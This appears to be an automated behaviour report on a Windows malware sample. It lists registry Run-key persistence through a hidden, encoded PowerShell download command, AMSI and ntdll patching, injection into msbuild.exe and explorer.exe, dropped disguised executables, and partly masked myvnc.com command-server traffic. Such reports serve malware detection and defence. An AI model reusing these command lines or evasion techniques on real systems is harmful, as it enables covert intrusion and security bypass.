Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSvcHelper' = '"<SYSTEM32>\conhost.exe" --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand ...
Creates or modifies the following files
- <SYSTEM32>\tasks\windowssystemservice
Malicious functions
Downloads and executes files.
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
- %WINDIR%\explorer.exe
Patches code
in AMSI dll
- explorer.exe process, Amsi.dll module
in NTDLL dll
- explorer.exe process, ntdll.dll module
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %TEMP%\jxjwix.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\jxjwix.exe.log
- %TEMP%\fygyrm.exe
- %TEMP%\uytljy.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\fygyrm.exe.log
- %TEMP%\unllkp.exe
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\csrss483ef1.png
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\wuauclt483ef1.xml
- nul
- %TEMP%\h4cr4ica\h4cr4ica.0.cs
- %TEMP%\h4cr4ica\h4cr4ica.cmdline
- %TEMP%\h4cr4ica\h4cr4ica.out
- %TEMP%\h4cr4ica\csc2c11a3111fb54c7599ae3f5a19ab4e98.tmp
- %TEMP%\resb9e1.tmp
- %TEMP%\h4cr4ica\h4cr4ica.dll
- %TEMP%\content\2800-2492-msbuild.exe-09-11-38-800.dump
- %TEMP%\oxv1f3bk\oxv1f3bk.0.cs
- %TEMP%\oxv1f3bk\oxv1f3bk.cmdline
- %TEMP%\oxv1f3bk\oxv1f3bk.out
- %TEMP%\oxv1f3bk\cscd8e8cc2557e94893a33a93e5ce2e9558.tmp
- %TEMP%\resbf11.tmp
- %TEMP%\oxv1f3bk\oxv1f3bk.dll
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\explorer.exe.log
Deletes following files that it created itself
- <SYSTEM32>\tasks\windowssystemservice
- %TEMP%\resb9e1.tmp
- %TEMP%\h4cr4ica\csc2c11a3111fb54c7599ae3f5a19ab4e98.tmp
- %TEMP%\h4cr4ica\h4cr4ica.out
- %TEMP%\h4cr4ica\h4cr4ica.0.cs
- %TEMP%\h4cr4ica\h4cr4ica.pdb
- %TEMP%\h4cr4ica\h4cr4ica.dll
- %TEMP%\h4cr4ica\h4cr4ica.cmdline
- %TEMP%\resbf11.tmp
- %TEMP%\oxv1f3bk\cscd8e8cc2557e94893a33a93e5ce2e9558.tmp
- %TEMP%\oxv1f3bk\oxv1f3bk.dll
- %TEMP%\oxv1f3bk\oxv1f3bk.0.cs
- %TEMP%\oxv1f3bk\oxv1f3bk.cmdline
- %TEMP%\oxv1f3bk\oxv1f3bk.out
Network activity
Connects to
- 'la####1.myvnc.com':443
- 'la###.myvnc.com':80
TCP
HTTP GET requests
- http://la###.myvnc.com/api/poll?id###################
Other
- 'la####1.myvnc.com':443
UDP
- DNS ASK la####1.myvnc.com
- DNS ASK la###.myvnc.com
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
Creates and executes the following
- '%TEMP%\jxjwix.exe'
- '%TEMP%\fygyrm.exe'
- '%TEMP%\uytljy.exe'
- '%TEMP%\unllkp.exe'
- '%APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe'
Executes the following
- '<SYSTEM32>\conhost.exe' --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand dAByAHkAewAkAHcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwA9ACQA...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe' %APPDATA%\Microsoft\Windows\Templates\WindowsDefender483ef1\wuauclt483ef1.xml
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command -
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\h4cr4ica\h4cr4ica.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB9E1.tmp" "%TEMP%\h4cr4ica\CSC2C11A3111FB54C7599AE3F5A19AB4E98.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\oxv1f3bk\oxv1f3bk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBF11.tmp" "%TEMP%\oxv1f3bk\CSCD8E8CC2557E94893A33A93E5CE2E9558.TMP"
- '%WINDIR%\explorer.exe'
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\vklmcmd4\vklmcmd4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFDA0.tmp" "%TEMP%\vklmcmd4\CSC825803302D3E49C7AF91172D5F754AD5.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\olpek3by\olpek3by.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES939.tmp" "%TEMP%\olpek3by\CSCD9D2D20C2F604044958FFB8D084B7AE.TMP"
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\h4cr4ica\h4cr4ica.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB9E1.tmp" "%TEMP%\h4cr4ica\CSC2C11A3111FB54C7599AE3F5A19AB4E98.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\oxv1f3bk\oxv1f3bk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBF11.tmp" "%TEMP%\oxv1f3bk\CSCD8E8CC2557E94893A33A93E5CE2E9558.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\vklmcmd4\vklmcmd4.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFDA0.tmp" "%TEMP%\vklmcmd4\CSC825803302D3E49C7AF91172D5F754AD5.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\olpek3by\olpek3by.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES939.tmp" "%TEMP%\olpek3by\CSCD9D2D20C2F604044958FFB8D084B7AE.TMP"' (with hidden window)
